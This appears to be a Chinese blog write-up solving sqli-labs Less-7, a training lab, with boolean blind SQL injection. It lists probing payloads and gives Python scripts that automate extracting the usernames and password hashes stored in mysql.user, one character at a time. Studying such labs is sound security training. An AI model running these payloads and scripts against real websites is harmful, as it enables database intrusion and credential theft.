「作者主页」:士别三日wyx
「作者简介」:CSDN top200、阿里云博客专家、华为云享专家、网络安全领域优质创作者
前段时间,有个学网安的同学找到我要菜刀(一种后门连接工具)。
我问他怎么了,要干啥?
他说sqllib第七关需要上传木马文件,用菜刀连接。
我很懵逼,这一关我做过,不需要用菜刀,用的盲注。
他不服气,给我扔来截图,说人家题目就是让写入文件。
“你在教我做事?”,我向来不喜欢按规矩做事,直接怼了回去,接着把盲注的Python脚本甩到他“脸上”。
虽然他好长时间没理我,但我知道,这次又是我赢了,我已经赢他太多了。
简单分析一下网站的功能,大致如下:
需要用户输入参数id,后台会根据输入的id查询用户信息。
如果查询到用户信息,则显示查询成功,比如 输入 ?id=1
如果查询不到用户信息,则显示出错,比如 输入 ?id=0(用户的id不能是0或负数,id为0会导致后台查询不到用户信息)
如果后台报错,同样显示出错,比如 输入 ?id=1’(在参数中携带单/双引号,会导致后台数据库报错,前提是后台代码未过滤引号)
前端页面不显示动态的用户信息(没有显示位),不适合联合注入。
不显示数据库的报错信息(显示错误,但错误是人为写死的,不是数据库本身的错误),不适合报错注入。
只有成功和失败两种情况,推荐使用布尔盲注。
备注:出题者的意图是写入文件,网上已经有很多写入文件的教程,本篇文章使用布尔盲注猜解数据库。
输入 ?id=1’,页面异常显示(提示错误),初步判断注入点是单引号字符型注入。
输入 ?id=1",页面正常显示(查询成功),说明双引号不会改变SQL的语法结构,可以确定注入点就是单引号字符型注入。
输入 ?id=1’ and 1 – a,使用万能账号验证注入点,异常显示。
添加括号继续尝试,输入 ?id=1’) and 1 – a,仍然异常显示。
继续添加括号尝试,输入 ?id=1’)) and 1 – a,页面正常显示。
改变SQL的恒成立性,进行验证,输入 ?id=1’)) and 0 – a,页面异常显示。
由此可以验证上述观点,网站的注入点类型为:单引号+双引号的字符型注入。
MySQL的默认数据库 mysql 中,有一个 user 表,该表存放数据库的用户信息,查询 user 表,可以获取数据库用户的账号和密码。
SQL:select group_concat(user,password) from mysql.user
页面不能显示具体的查询数据,我们可以使用猜解的方式来判断具体的数据,首先,我们猜解长度。假设用户名的长度大于1个字符,payload如下:
?id=1')) and length(
(select group_concat(user,password)
from mysql.user)
)>1 -- a
用户名的长度肯定是大于1个字符,因此页面正常显示。
我们再假设用户名的长度小于1个字符,payload如下:
?id=1')) and length(
(select group_concat(user,password)
from mysql.user)
)<1 -- a
用户名的长度肯定不会小于1个字符,因此页面异常显示。
由此可以判断,长度验证payload可以正常使用,接下来,我们假设用户名的长度等于1个字符,并由1开始递增,页面异常显示表示长度不对,页面正常显示表示长度正确,payload如下:
?id=1')) and length(
(select group_concat(user,password)
from mysql.user)
)=1 -- a
手动猜解比较麻烦,这里我们借助Python进行自动化测试,脚本如下:
import requests
# 目标网址(不带参数)
url = "http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/"
# 猜解长度使用的payload
payload_len = """?id=1')) and length(
(select group_concat(user,password)
from mysql.user)
)={n} -- a"""
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if 'You are in.... Use outfile......' in response.text:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增
# 开始猜解
getLength(url, payload_len)
长度确定之后,我们利用ASCLL码表枚举每个字符的可能性。
ASCLL码表总共127个字符(可输入的字符范围是32~126),我们将每个字符转换成ASCLL码,由32开始枚举判断,递增至126,页面异常显示表示猜测错误,页面正常显示表示猜测正确。
手动枚举比较麻烦,这里我们使用Python自动化验证,脚本如下:
import requests
# 目标网址(不带参数)
url = "http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/"
# 枚举字符使用的payload
payload_str = """?id=1')) and ascii(substr(
(select group_concat(user,password)
from mysql.user)
,{n},1))={r} -- a"""
# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
for l in range(1, length+1):
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
if 'You are in.... Use outfile......' in response.text:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;
# 开始猜解
getStr(url, payload_str, 42)
import requests
# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/"
# 猜解长度使用的payload
payload_len = """?id=1')) and length(
(select group_concat(user,password)
from mysql.user)
)={n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1')) and ascii(substr(
(select group_concat(user,password)
from mysql.user)
,{n},1))={r} -- a"""
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if 'You are in.... Use outfile......' in response.text:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增
# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
for l in range(1, length+1):
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
if 'You are in.... Use outfile......' in response.text:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;
# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
感谢你的点赞、收藏、评论,我是三日,祝你幸福。